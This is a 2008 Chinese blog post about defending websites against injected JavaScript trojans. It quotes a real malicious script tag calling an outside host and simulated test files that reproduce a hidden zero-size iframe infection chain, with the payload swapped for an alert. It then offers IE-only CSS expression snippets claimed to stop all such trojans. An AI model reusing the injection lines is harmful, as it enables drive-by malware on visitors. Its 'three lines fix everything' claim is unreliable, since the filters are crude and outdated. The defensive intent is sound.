三行代码解决全部网页木马
作者:vickeychen 来源:Linr Studio 时间:2008-05-24 17:11:00
依然是挂马问题,已经是第三次变种啦!可恶!今天听报道说黑客入侵红十字会官网,修改了募捐帐号 ,这种人简直禽兽不如—— * 。希望每个中国人都能为灾区献上一份爱心,做好自己的本职工作,并时刻准备着为灾区人民做点事情。
转入正题,这些日子,心情总是很沉重,不过我们得化悲痛为力量勇敢面对。有很多站长朋友联系过笔者了,他们都遭受了网页木马的破坏。一个大喊救命的网友,今晚向笔者诉苦,我就帮她看下吧。
她告诉我说她的网站在网页的开头被加上了
<script language=javascript src=http://www.0571e.com/fly.js></script>
原来又是JS木马,唯一的区别就是它加在了网页的最开头。使用笔者以前的“二行代码解决全部网页木马”,也不起作用了。仔细一看才知道,不仅加入了<script>标记还有一行长长类似于空格的字符。它使得DOCTYPE(文档类型)有所改变。DOCTYPEs是一个web页面的关键组成部分,缺少它你的css定义和标记将不被承认有效。所以一般首行被挂JS木马的网页会显示不正常。如果您当前的网站编码是utf-8,有时还会出现乱码。
今天晚上这位朋友的网页是gbk编码的,网页没有乱码,但是网页下面显示有错位。
磨刀,杀毒:
它不是插入在网头最上面吗?它不是第一个<script>标记吗?它不还是含有“http”吗?汗,啰嗦!——简单,在笔者以前的代码基础上稍稍改动,就可以了:
在css里加上:
方案1:(缺点:完全不显示网页)
代码:
html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}
方案2:(隔离木马,显示网页)
代码:
html,body{nojstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.getElementsByTagName('IFRAME')[0].src=document.getElementsByTagName('SCRIPT')[0].src='about:blank':null);}
原理:获取页面的第一个<script>标记,如果src含有“http”字符,则将其隔离。经过Vista+IE7模拟测试,成功!希望XP下IE6+的用户帮忙测试下,如有问题及时反馈,谢谢!
代码:
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{antiifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{antijs:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
html,body{antijstop:expression((document.getElementsByTagName('SCRIPT')[0].src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):null);}
/* 以后请在此关注最新网页防挂木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
至此,三行代码搞定全部网页木马完工。笔者可不希望还会有四行代码出来。有朋友担心这个代码会很占资源,其实不会的,页面加载完成后,只有鼠标碰到相关元素(如果css描述的是img,则鼠标碰到这个img时),CSS才会重复渲染一次。
防止木马破坏访客的代码笔者是写出来啦,关键是各位网站的站长要与网站服务器的网管多多沟通,搞好虚拟主机的安全工作。这类问题大都是服务器或其所在的局域网中了病毒,遭遇了ARP、DNS等欺骗所致。及时打好服务器系统补丁,安装必要的防火墙(如ARP防火墙)很有重要。
也许,这场战役还没有停止,我们将与它斗争到底!勇敢面对!
以下是测试的文件(全仿真模拟):
default.html 这是网站首页,假如被挂马,如:
代码:
<script language=javascript src=http://www.***.cn/mm.js></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
...代码过长,略去
mm.js 这是木马的JS文件:
代码:
document.write("<iframe width='0' height='0' src='http://www.***.cn/mm1.htm'></iframe>");
mm1.htm 这是js木马引用的iframe页面:
代码:
汗,还有统计呢!
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1833695.js"</script>
<iframe src=http://www.nihaoku.cn/mm2.htm width=0 height=0></iframe>
mm2.htm 这是被mm1.htm引用的iframe页面:
代码:
<script>
window.onerror=function(){return true;}
window.status="完成";
</script>
<script>
/*dddddddddddddd*/
/*这里就是木马执行的代码了,我把它们删除了,换成一个弹出警告框的代码,测试如果有警告弹出,则木马起作用了,反之成功了*/
alert('木马起作用了!');
</script>
睡觉了!安安 ^^*
下载地址:最新网页木马防御代码测试文件.rar (5.64 KB)